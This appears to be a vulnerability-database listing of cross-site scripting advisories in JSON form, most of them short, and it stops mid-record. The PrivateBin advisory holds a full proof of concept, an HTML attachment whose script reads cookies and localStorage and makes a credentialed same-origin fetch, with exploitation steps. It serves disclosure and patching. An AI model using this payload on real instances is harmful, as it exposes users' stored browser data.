CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
70380 vulnerabilities reference this CWE, most recent first.
GHSA-F2W5-9H42-G5CP
Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2026-04-01 18:34Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in milan.latinovic WP Chrono allows DOM-Based XSS. This issue affects WP Chrono: from n/a through 1.5.4.
{
"affected": [],
"aliases": [
"CVE-2025-31747"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T15:16:10Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in milan.latinovic WP Chrono allows DOM-Based XSS. This issue affects WP Chrono: from n/a through 1.5.4.",
"id": "GHSA-f2w5-9h42-g5cp",
"modified": "2026-04-01T18:34:19Z",
"published": "2025-04-01T15:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31747"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-chrono/vulnerability/wordpress-wp-chrono-plugin-1-5-4-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F2W8-4M48-5QRQ
Vulnerability from github – Published: 2023-12-08 15:30 – Updated: 2023-12-12 20:55JFinalCMS v5.0.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the column management department.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.jfinal:jfinal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49485"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-12T20:55:43Z",
"nvd_published_at": "2023-12-08T15:15:07Z",
"severity": "MODERATE"
},
"details": "JFinalCMS v5.0.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the column management department.",
"id": "GHSA-f2w8-4m48-5qrq",
"modified": "2023-12-12T20:55:43Z",
"published": "2023-12-08T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49485"
},
{
"type": "WEB",
"url": "https://github.com/Rabb1ter/cms/blob/main/There%20is%20a%20storage%20type%20XSS%20in%20the%20column%20management%20department.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/jfinal/jfinal"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-site Scripting in JFinalCMS"
}
GHSA-F2X2-45GC-M3JJ
Vulnerability from github – Published: 2022-12-15 21:30 – Updated: 2022-12-19 18:30Cross Site Scripting (XSS) vulnerability in Users.php in eyoucms 1.5.4 allows remote attackers to run arbitrary code and gain escalated privilege via the filename for edit_users_head_pic.
{
"affected": [],
"aliases": [
"CVE-2021-39428"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-15T19:15:00Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting (XSS) vulnerability in Users.php in eyoucms 1.5.4 allows remote attackers to run arbitrary code and gain escalated privilege via the filename for edit_users_head_pic.",
"id": "GHSA-f2x2-45gc-m3jj",
"modified": "2022-12-19T18:30:25Z",
"published": "2022-12-15T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39428"
},
{
"type": "WEB",
"url": "https://github.com/eyoucms/eyoucms/issues/14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F2X4-QJ2F-QR8X
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39Reflected XSS in Vtiger CRM v7.2.0 in vtigercrm/index.php? through the view parameter can result in an attacker performing malicious actions to users who open a maliciously crafted link or third-party web page.
{
"affected": [],
"aliases": [
"CVE-2020-19362"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-20T01:15:00Z",
"severity": "MODERATE"
},
"details": "Reflected XSS in Vtiger CRM v7.2.0 in vtigercrm/index.php? through the view parameter can result in an attacker performing malicious actions to users who open a maliciously crafted link or third-party web page.",
"id": "GHSA-f2x4-qj2f-qr8x",
"modified": "2022-05-24T17:39:31Z",
"published": "2022-05-24T17:39:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19362"
},
{
"type": "WEB",
"url": "https://emreovunc.com/blog/en/vtiger_crm_xss_03.png"
},
{
"type": "WEB",
"url": "https://github.com/EmreOvunc/Vtiger-CRM-Vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F2X7-MVMX-MXHC
Vulnerability from github – Published: 2026-08-19 00:31 – Updated: 2026-08-19 00:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PublishPress PublishPress Series allows Stored XSS.
This issue affects PublishPress Series: from n/a through 2.17.0.
{
"affected": [],
"aliases": [
"CVE-2026-27365"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T23:16:35Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in PublishPress PublishPress Series allows Stored XSS.\n\nThis issue affects PublishPress Series: from n/a through 2.17.0.",
"id": "GHSA-f2x7-mvmx-mxhc",
"modified": "2026-08-19T00:31:11Z",
"published": "2026-08-19T00:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27365"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/organize-series/vulnerability/wordpress-publishpress-series-plugin-2-17-0-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F2XC-H3R6-W96X
Vulnerability from github – Published: 2022-05-02 00:07 – Updated: 2022-05-02 00:07Cross-site scripting (XSS) vulnerability in index.php in webCMS Portal Edition allows remote attackers to inject arbitrary web script or HTML via the patron parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-4184"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-09-23T15:25:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in index.php in webCMS Portal Edition allows remote attackers to inject arbitrary web script or HTML via the patron parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-f2xc-h3r6-w96x",
"modified": "2022-05-02T00:07:39Z",
"published": "2022-05-02T00:07:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4184"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45447"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31775"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31153"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F2XF-7X3G-4272
Vulnerability from github – Published: 2026-08-28 20:22 – Updated: 2026-08-28 20:23Summary
Stored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a text/html attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the "Download attachment" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch).
This is an incomplete fix of CVE-2022-24833. The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a text/html (or image/svg) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process.
Instances using the default recommended CSP are protected (the blob inherits script-src 'self', blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.
Requires fileupload = true (non-default) and a non-recommended CSP configuration.
Details
In js/privatebin.js, the function AttachmentViewer.setAttachment (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server.
Root cause 1: MIME-gated sanitization (line 3017)
DOMPurify sanitization only triggers when the MIME type matches /^image\/.*svg/i. Any other active content type (such as text/html, application/xhtml+xml, text/xml) completely bypasses sanitization.
// js/privatebin.js:3017-3023
if (mimeType.match(/^image\/.*svg/i)) { // only SVG is considered
const sanitizedData = DOMPurify.sanitize(
decodedData,
purifySvgConfig
);
blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only
}
Root cause 2: download link always points to unsanitized blob (line 3002)
The "Download attachment" link's href is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable blobUrl that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.
// js/privatebin.js:3001-3002
let blobUrl = getBlobUrl(decodedData, mimeType); // unsanitized blob
attachmentLink.attr('href', blobUrl); // download link set HERE (never updated)
Root cause 3: MIME type is fully attacker-controlled
The MIME type is extracted from the decrypted data URI at line 3211-3217 via getAttachmentMimeType, which simply reads the substring between data: and ; in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a Blob with that exact Content-Type at line 2963-2967 via getBlobUrl.
Attack flow:
- Attacker creates a paste with an attached .html file. The client encodes it as data:text/html;base64,... and encrypts it.
- Victim opens the paste URL. decryptPaste (line 5387-5397) decrypts the message and calls setAttachment with the attacker's data URI.
- setAttachment creates a same-origin blob:http://instance/... with Content-Type: text/html containing the attacker's HTML+script. This blob is assigned to the "Download attachment" link's href without any sanitization.
- Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript.
Relation to CVE-2022-24833:
The 2022 advisory claimed: "whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized." This doesn't hold because: - The download link's blob is never sanitized (only the preview blob is). - The advisory's safety argument for the download link ("opens from file:// protocol") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin blob: URL instead.
Proof of concept
Environment: - PrivateBin commit 597a6f0d (version 2.0.4+) - PHP 8.x with built-in server - Chromium-based browser (tested in Playwright/Chromium)
Step 1: Set up a vulnerable instance
git clone https://github.com/PrivateBin/PrivateBin.git
cd PrivateBin
git checkout 597a6f0d
mkdir -p data
Create cfg/conf.php with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory).
For example, here is a basic config:
[main]
fileupload = true
cspheader = "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:"
httpwarning = false
[expire]
default = "1week"
[expire_options]
5min = 300
10min = 600
1hour = 3600
1day = 86400
1week = 604800
1month = 2592000
1year = 31536000
never = 0
[formatter_options]
plaintext = "Plain Text"
syntaxhighlighting = "Source Code"
markdown = "Markdown"
[traffic]
limit = 0
[purge]
limit = 300
batchsize = 10
[model]
class = "Filesystem"
[model_options]
dir = "data"
Start the server:
php -S 127.0.0.1:8099
Step 2: Prepare the payload file
Save as xss-attachment.html:
<!DOCTYPE html>
<html>
<head><title>benign</title></head>
<body>
<h1>just a harmless document</h1>
<script>
document.title = 'XSS:' + document.domain;
document.body.style.background = '#c00';
document.body.style.color = '#fff';
document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin +
'<br>protocol = ' + location.protocol +
'<br>cookies = ' + JSON.stringify(document.cookie) +
'<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>';
// prove same-origin capability
fetch(location.origin + '/?jsonld=paste', { credentials: 'include' })
.then(r => r.text())
.then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>');
</script>
</body>
</html>
Optionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a lang cookie.)
Step 3: Attacker creates the paste
- Browse to http://127.0.0.1:8099/
- Type any text in the document area (e.g., "Quarterly report attached. Open the Download attachment link to view it.")
- Click Attach a file and select xss-attachment.html. The browser detects the file type as text/html, so the client produces attachment = ["data:text/html;base64,..."].
- Click Create. Copy the resulting paste URL.
Step 4: Victim opens the paste
- Open the paste URL in a browser. The paste decrypts and renders: "Download attachment (xss-attachment.html, ...)" with a blob: link.
- Right-click the "Download attachment" link and select Open in new tab (or middle-click).
Step 5: Observe XSS execution
The new tab opens at blob:http://127.0.0.1:8099/... with:
- Page title: XSS:127.0.0.1 (set by attacker script)
- Red background with XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = "", localstorage = ...
- A same-origin fetch to the backend that returns real data (proving full origin access)
Negative control (default CSP):
Change cspheader in cfg/conf.php back to the recommended default:
cspheader = "default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src * blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads"
Restart the server and open the same paste. The blob navigation now inherits script-src 'self' from the page CSP, blocking inline script execution. The browser console shows: "Executing inline script violates the following Content Security Policy directive 'script-src 'self' 'wasm-unsafe-eval''". The page title stays "benign" (script didn't run).
Impact
Who is impacted: Self-hosted PrivateBin instances that have both: 1. File upload enabled (fileupload = true, default is false) 2. A Content-Security-Policy that doesn't restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)
The CVE-2022-24833 advisory documented that such instances exist in the wild. Instances using PrivateBin's default recommended CSP are not affected.
What can an attacker do: - Execute arbitrary JavaScript in the PrivateBin instance's web origin. - Read localStorage and potentially other locally stored data (IndexDB, etc.) for that origin. - Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.
What an attacker cannot do:
- Exploit instances with the default recommended CSP (inline scripts are blocked in the blob).
- Exploit instances that don't have file upload enabled.
- Execute without victim interaction (the victim must open the attachment link in a new tab).
- Cookie access could not be confirmed (see screenshot above), as these seem to be separated differently.
- Access to the opener via window.opener.document (same origin) could not be confirmed. (The link is just not opened via window.open or similar)
That said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.
Patches
To fix the problem, we took the following measures:
* Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with application/octet-stream for the download link. This causes the browser to always download the file – even if the user triggered a „Open in new tab“ action – with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.
Timeline
- 2026-06-11 – Received report via GitHub Security Advisory by the reporter.
- 2026-06-11 – Report gets reviewed and discussed with the initial reporter.
- 2026-06-13 – Vulnerability gets reproduced and patch is being developed.
- 2026-06-14 – Patch gets reviewed.
- 2026-06-1X – Patch gets merged
- 2026-06-1X – New PrivateBin release is published.
- 2026-06-XX – Vulnerability details published.
Credits
This vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we'd like to thank for that. In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.
If you think you have found a vulnerability or potential security risk, we'd kindly ask you to follow our security policy and report it to us. We then assess the report and will take the actions we deem necessary to address it.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.4"
},
"package": {
"ecosystem": "Packagist",
"name": "privatebin/privatebin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55696"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T20:22:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nStored cross-site scripting (XSS) in PrivateBin\u0027s attachment download link. An anonymous attacker can create a paste with a **text/html** attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the \"Download attachment\" link in a new tab, the attacker\u0027s inline JavaScript executes in the PrivateBin instance\u0027s origin with full same-origin capability (cookie/localStorage access, same-origin fetch).\n\nThis is an incomplete fix of [CVE-2022-24833](https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw). The original fix only applies to the inline preview blob (in case of SVG), never to the download link\u0027s blob. Thus a **text/html** (or **image/svg**) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don\u0027t enforce the recommended Content-Security-Policy, but with a slightly different attack process.\n\nInstances using the default recommended CSP are protected (the blob inherits **script-src \u0027self\u0027**, blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.\n\nRequires **fileupload = true** (non-default) and a non-recommended CSP configuration.\n\n### Details\n\nIn **js/privatebin.js**, the function **AttachmentViewer.setAttachment** (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can\u0027t be inspected or sanitized by the server.\n\n**Root cause 1: MIME-gated sanitization (line 3017)**\n\nDOMPurify sanitization only triggers when the MIME type matches **/^image\\/.\\*svg/i**. Any other active content type (such as **text/html**, **application/xhtml+xml**, **text/xml**) completely bypasses sanitization.\n\n```js\n// js/privatebin.js:3017-3023\nif (mimeType.match(/^image\\/.*svg/i)) { // only SVG is considered\n const sanitizedData = DOMPurify.sanitize(\n decodedData,\n purifySvgConfig\n );\n blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only\n}\n```\n\n**Root cause 2: download link always points to unsanitized blob (line 3002)**\n\nThe \"Download attachment\" link\u0027s **href** is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable **blobUrl** that\u0027s consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.\n\n```js\n// js/privatebin.js:3001-3002\nlet blobUrl = getBlobUrl(decodedData, mimeType); // unsanitized blob\nattachmentLink.attr(\u0027href\u0027, blobUrl); // download link set HERE (never updated)\n```\n\n**Root cause 3: MIME type is fully attacker-controlled**\n\nThe MIME type is extracted from the decrypted data URI at line 3211-3217 via **getAttachmentMimeType**, which simply reads the substring between **data:** and **;** in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a **Blob** with that exact **Content-Type** at line 2963-2967 via **getBlobUrl**.\n\n**Attack flow:**\n\n1. Attacker creates a paste with an attached **.html** file. The client encodes it as **data:text/html;base64,...** and encrypts it.\n2. Victim opens the paste URL. **decryptPaste** (line 5387-5397) decrypts the message and calls **setAttachment** with the attacker\u0027s data URI.\n3. **setAttachment** creates a same-origin **blob:http://instance/...** with **Content-Type: text/html** containing the attacker\u0027s HTML+script. This blob is assigned to the \"Download attachment\" link\u0027s **href** without any sanitization.\n4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance\u0027s origin, executing the attacker\u0027s inline JavaScript.\n\n**Relation to CVE-2022-24833:**\n\nThe [2022 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) claimed: *\"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized.\"* This doesn\u0027t hold because:\n- The download link\u0027s blob is never sanitized (only the preview blob is).\n- The advisory\u0027s safety argument for the download link (\"opens from file:// protocol\") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin **blob:** URL instead.\n\n### Proof of concept\n\n**Environment:**\n- PrivateBin commit **597a6f0d** (version 2.0.4+)\n- PHP 8.x with built-in server\n- Chromium-based browser (tested in Playwright/Chromium)\n\n**Step 1: Set up a vulnerable instance**\n\n```bash\ngit clone https://github.com/PrivateBin/PrivateBin.git\ncd PrivateBin\ngit checkout 597a6f0d\nmkdir -p data\n```\n\nCreate **cfg/conf.php** with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn\u0027t enforced, as documented in the original CVE-2022-24833 advisory).\n\nFor example, here is a basic config:\n```ini\n[main]\nfileupload = true\ncspheader = \"default-src * \u0027unsafe-inline\u0027 \u0027unsafe-eval\u0027 data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:\"\nhttpwarning = false\n\n[expire]\ndefault = \"1week\"\n\n[expire_options]\n5min = 300\n10min = 600\n1hour = 3600\n1day = 86400\n1week = 604800\n1month = 2592000\n1year = 31536000\nnever = 0\n\n[formatter_options]\nplaintext = \"Plain Text\"\nsyntaxhighlighting = \"Source Code\"\nmarkdown = \"Markdown\"\n\n[traffic]\nlimit = 0\n\n[purge]\nlimit = 300\nbatchsize = 10\n\n[model]\nclass = \"Filesystem\"\n\n[model_options]\ndir = \"data\"\n```\n\nStart the server:\n\n```bash\nphp -S 127.0.0.1:8099\n```\n\n**Step 2: Prepare the payload file**\n\nSave as **xss-attachment.html**:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003ebenign\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003ejust a harmless document\u003c/h1\u003e\n\u003cscript\u003e\n document.title = \u0027XSS:\u0027 + document.domain;\n document.body.style.background = \u0027#c00\u0027;\n document.body.style.color = \u0027#fff\u0027;\n document.body.innerHTML = \u0027\u003ch1\u003eXSS EXECUTED\u003cbr\u003eorigin = \u0027 + location.origin +\n\t\t\t\u0027\u003cbr\u003eprotocol = \u0027 + location.protocol +\n \u0027\u003cbr\u003ecookies = \u0027 + JSON.stringify(document.cookie) +\n \u0027\u003cbr\u003elocalStorage = \u0027 + JSON.stringify(localStorage) + \u0027\u003c/h1\u003e\u0027;\n // prove same-origin capability\n fetch(location.origin + \u0027/?jsonld=paste\u0027, { credentials: \u0027include\u0027 })\n .then(r =\u003e r.text())\n .then(t =\u003e document.body.innerHTML += \u0027\u003cpre\u003esame-origin fetch returned \u0027 + t.length + \u0027 bytes\u003c/pre\u003e\u0027);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"2217\" height=\"888\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85\" /\u003e\n\nOptionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.)\n\n**Step 3: Attacker creates the paste**\n\n1. Browse to **http://127.0.0.1:8099/**\n2. Type any text in the document area (e.g., \"Quarterly report attached. Open the Download attachment link to view it.\")\n3. Click **Attach a file** and select **xss-attachment.html**. The browser detects the file type as **text/html**, so the client produces **attachment = [\"data:text/html;base64,...\"]**.\n4. Click **Create**. Copy the resulting paste URL.\n\n**Step 4: Victim opens the paste**\n\n1. Open the paste URL in a browser. The paste decrypts and renders: \"Download attachment (xss-attachment.html, ...)\" with a **blob:** link.\n2. Right-click the \"Download attachment\" link and select **Open in new tab** (or middle-click).\n\n**Step 5: Observe XSS execution**\n\nThe new tab opens at **blob:http://127.0.0.1:8099/...** with:\n- Page title: **XSS:127.0.0.1** (set by attacker script)\n- Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = \"\", localstorage = ...` \n- A same-origin fetch to the backend that returns real data (proving full origin access)\n\n\u003cimg width=\"2208\" height=\"856\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0\" /\u003e\n\n**Negative control (default CSP):**\n\nChange **cspheader** in **cfg/conf.php** back to the recommended default:\n\n```ini\ncspheader = \"default-src \u0027none\u0027; base-uri \u0027self\u0027; form-action \u0027none\u0027; manifest-src \u0027self\u0027; connect-src * blob:; script-src \u0027self\u0027 \u0027wasm-unsafe-eval\u0027; style-src \u0027self\u0027; font-src \u0027self\u0027; frame-ancestors \u0027none\u0027; frame-src blob:; img-src \u0027self\u0027 data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads\"\n```\n\nRestart the server and open the same paste. The blob navigation now inherits **script-src \u0027self\u0027** from the page CSP, blocking inline script execution. The browser console shows: *\"Executing inline script violates the following Content Security Policy directive \u0027script-src \u0027self\u0027 \u0027wasm-unsafe-eval\u0027\u0027\"*. The page title stays \"benign\" (script didn\u0027t run).\n\n### Impact\n\n**Who is impacted:**\nSelf-hosted PrivateBin instances that have **both**:\n1. File upload enabled (**fileupload = true**, default is **false**)\n2. A Content-Security-Policy that doesn\u0027t restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)\n\nThe [CVE-2022-24833 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) documented that such instances exist in the wild. Instances using PrivateBin\u0027s default recommended CSP are **not affected**.\n\n**What can an attacker do:**\n- Execute arbitrary JavaScript in the PrivateBin instance\u0027s web origin.\n- Read **localStorage** and potentially other locally stored data (IndexDB, etc.) for that origin. \n- Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.\n\n**What an attacker _cannot_ do:**\n- Exploit instances with the default recommended CSP (inline scripts are blocked in the blob).\n- Exploit instances that don\u0027t have file upload enabled.\n- Execute without victim interaction (the victim must open the attachment link in a new tab).\n- Cookie access could _not_ be confirmed (see screenshot above), as these seem to be [separated differently](https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy#cross-origin_data_storage_access).\n- Access to the opener via **window.opener.document** (same origin) could not be confirmed. (The link is just not opened via `window.open` or similar)\n\nThat said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.\n\n## Patches\n\nTo fix the problem, we took the following measures:\n* Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with `application/octet-stream` for the download link. This causes the browser to always download the file \u2013 even if the user triggered a \u201eOpen in new tab\u201c action \u2013 with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.\n\n## Timeline\n\n* 2026-06-11 \u2013 Received report via GitHub Security Advisory by the reporter.\n* 2026-06-11 \u2013 Report gets reviewed and discussed with the initial reporter.\n* 2026-06-13 \u2013 Vulnerability gets reproduced and patch is being developed.\n* 2026-06-14 \u2013 Patch gets reviewed.\n* 2026-06-1X \u2013 Patch gets merged\n* 2026-06-1X \u2013 New PrivateBin release is published.\n* 2026-06-XX \u2013 Vulnerability details published.\n\n## Credits\n\nThis vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we\u0027d like to thank for that.\nIn general, we\u0027d like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we\u0027d kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.",
"id": "GHSA-f2xf-7x3g-4272",
"modified": "2026-08-28T20:23:00Z",
"published": "2026-08-28T20:22:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272"
},
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/commit/e0dd4c025c19a182b6a4c6fb77a8bf81ceff6899"
},
{
"type": "PACKAGE",
"url": "https://github.com/PrivateBin/PrivateBin"
},
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction"
}
GHSA-F2XG-R533-V5P2
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53An elevation of privilege vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka "Microsoft SharePoint Elevation of Privilege Vulnerability." This affects Microsoft SharePoint Server, Microsoft SharePoint. This CVE ID is unique from CVE-2018-8572.
{
"affected": [],
"aliases": [
"CVE-2018-8568"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-14T01:29:00Z",
"severity": "MODERATE"
},
